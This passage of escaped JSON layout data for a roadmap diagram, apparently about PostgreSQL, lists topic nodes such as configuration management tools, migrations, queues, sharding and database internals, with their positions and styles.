\"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TZvZ_jNjWnM535ZktyhQN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -173.27942699446805,\n        \"y\": 1683.019414357788\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Patroni Alternatives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -173.27942699446805,\n        \"y\": 1683.019414357788\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h1PbeATiyrCni1ukpDbUo\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -152.77942699446805,\n        \"y\": 1748.5689821437797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kubernetes Deployment\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"4ESFSjY5k92rOjeFTIV2J\"\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -152.77942699446805,\n        \"y\": 1748.5689821437797\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"BEiM6o6lMRF_g9BKmfbrL\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 243.58122640407913,\n        \"y\": 1830.1128135809029\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monitoring\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"HiTZlR-asfVa80gY0ear1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 243.58122640407913,\n        \"y\": 1830.1128135809029\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"4ESFSjY5k92rOjeFTIV2J\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -164.261518097656,\n        \"y\": 1909.7354491981566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Load Balancing / Discovery\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"BEiM6o6lMRF_g9BKmfbrL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -164.261518097656,\n        \"y\": 1909.7354491981566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"7RoBFFZ0V_9T-z2vYjX75\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 190.6465257138355,\n        \"y\": 1329.6981361521084\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backup & Recovery Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 31,\n      \"positionAbsolute\": {\n        \"x\": 190.6465257138355,\n        \"y\": 1329.6981361521084\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 31\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 31\n      }\n    },\n    {\n      \"id\": \"ZqeSG0CHxGiCzoVkwee17\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 137.39672700316152,\n        \"y\": 1401.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"3rd Party\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"udps7QnflC827FJEJOa4z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 137.39672700316152,\n        \"y\": 1401.400520645447\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"HiTZlR-asfVa80gY0ear1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 341.58122640407913,\n        \"y\": 1401.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Builtin Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 341.58122640407913,\n        \"y\": 1401.400520645447\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"SNnc8CIKuHUAEZaJ_qEar\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 100.65017017167162,\n        \"y\": 1999.6557349828333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Resource Usage / Provisioning / Capacity Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 440,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 100.65017017167162,\n        \"y\": 1999.6557349828333\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 440,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e5s7-JRqNy-OhfnjTScZI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -508.9061969910332,\n        \"y\": 1508.4717029098988\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn to Automate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VjQ71xorBoxxDn-wSmUjm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -508.9061969910332,\n        \"y\": 1508.4717029098988\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-clI2RmfhK8F8beHULaIB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -498.48351490802224,\n        \"y\": 1569.7552985426937\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shell Scripts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -498.48351490802224,\n        \"y\": 1569.7552985426937\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j5YeixkCKRv0sfq_gFVr9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -498.48351490802224,\n        \"y\": 1622.7552985426937\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Any Programming Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -498.48351490802224,\n        \"y\": 1622.7552985426937\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OGRy7USAwdS-LY1ySoApZ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -480.98351490802224,\n        \"y\": 1733.1457727641146\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Configuration Management\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -480.98351490802224,\n        \"y\": 1733.1457727641146\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"RqSfBR_RuvHrwHfPn1jwZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -493.1554275639239,\n        \"y\": 1774.7447164890727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ansible\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -493.1554275639239,\n        \"y\": 1774.7447164890727\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q_B9dlXNMXZIRYQC74uIf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -341.6035205674037,\n        \"y\": 1773.0283121218679\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Salt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -341.6035205674037,\n        \"y\": 1773.0283121218679\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7EHZ9YsNjCyTAN-LDWYMS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -341.6035205674037,\n        \"y\": 1827.0283121218679\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Chef\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -341.6035205674037,\n        \"y\": 1827.0283121218679\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e39bceamU-lq3F2pmLz6v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -493.1554275639239,\n        \"y\": 1828.7447164890727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Puppet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -493.1554275639239,\n        \"y\": 1828.7447164890727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dKQCVkcZtmiT3grOBax04\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 6.404016712677219,\n        \"y\": 2125.2517236629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Migrations\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"jsv3UNZuDaksU49g6Xjm0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 6.404016712677219,\n        \"y\": 2125.2517236629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"AtZcMhy2Idmgonp5O8RSQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -97.59598328732278,\n        \"y\": 2166.110318916681\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Practical Patterns / Antipatterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -97.59598328732278,\n        \"y\": 2166.110318916681\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3Lcy7kBKeV6hx9Ctp_20M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -98.09598328732278,\n        \"y\": 2219.110318916681\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Migration Related Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -98.09598328732278,\n        \"y\": 2219.110318916681\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 307,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 307,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cc4S7ugIphyBZr-f6X0qi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 218.6411324103895,\n        \"y\": 2161.2517236629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bulk Loading / Processing Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318\n      },\n      \"positionAbsolute\": {\n        \"x\": 218.6411324103895,\n        \"y\": 2161.2517236629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OiGRtLsc28Tv35vIut6B6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 218.6411324103895,\n        \"y\": 2214.2517236629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Partitioning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318\n      },\n      \"positionAbsolute\": {\n        \"x\": 218.6411324103895,\n        \"y\": 2214.2517236629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r6Blr7Q4wOnvJ-m6NvPyP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 218.6411324103895,\n        \"y\": 2267.2517236629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sharding Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318\n      },\n      \"positionAbsolute\": {\n        \"x\": 218.6411324103895,\n        \"y\": 2267.2517236629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Fcl7AD2M6WrMbxdvnl-ub\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 218.6411324103895,\n        \"y\": 2320.2517236629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Normalization / Normal Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 218.6411324103895,\n        \"y\": 2320.2517236629\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x0wCPs7cFL6eYJtzwNR-B\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 16.40401671267722,\n        \"y\": 2280.2517236629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queues\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 78,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 16.40401671267722,\n        \"y\": 2280.2517236629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 78,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"rnXcM62rgq3p6FQ9AWW1R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -95.91476085746939,\n        \"y\": 2322.5996049592895\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Patterns / Antipatterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -95.91476085746939,\n        \"y\": 2322.5996049592895\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WCBWPubUS84r3tOXpnZT3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 129.1624795387022,\n        \"y\": 2322.5996049592895\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PgQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 129.1624795387022,\n        \"y\": 2322.5996049592895\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jsv3UNZuDaksU49g6Xjm0\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 289.1411324103895,\n        \"y\": 2118.570839668701\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data and Processing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"x0wCPs7cFL6eYJtzwNR-B\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 289.1411324103895,\n        \"y\": 2118.570839668701\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"C0MAuAb1CfohTuTMkCjso\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -463.98351490802224,\n        \"y\": 2103.070839668701\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Application Skills\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"ctKJI9oHts6Agrg4eFfjy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": -463.98351490802224,\n        \"y\": 2103.070839668701\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"ctKJI9oHts6Agrg4eFfjy\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -468.08230823147517,\n        \"y\": 2248.2517236629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Topics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -468.08230823147517,\n        \"y\": 2248.2517236629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 68\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"_WTzpL-AciqaT0QGudYGL\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -430.58230823147517,\n        \"y\": 2369.2517236629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Low Level Internals\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -430.58230823147517,\n        \"y\": 2369.2517236629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"v2J6PZT0fHvqA7GwlqBU7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2411.170810596315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Processes & Memory Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 317,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2411.170810596315\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dJzJP1uo4kVFThWgglPfk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2464.170810596315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vacuum Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 317,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2464.170810596315\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KeBUzfrkorgFWpR8A-xmJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2517.170810596315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Buffer Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 317,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2517.170810596315\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pOkafV7nDHme4jk-hA8Cn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2570.170810596315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lock Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 317,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2570.170810596315\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gweDHAB58gKswdwfpnRQT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2623.170810596315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Physical Storage and File Layout\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 317,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2623.170810596315\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lDuBFA7cEMnd7Cl9MDgnf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2676.170810596315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"System Catalog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 317,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -498.25634421460154,\n        \"y\": 2676.170810596315\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u0GTzhPjUoERqgIiTAVNR\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -377.98351490802224,\n        \"y\": 2309.051213173421\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": -377.98351490802224,\n        \"y\": 2309.051213173421\n      },\n      \"dragging\": false,\n      \"style\": {\n        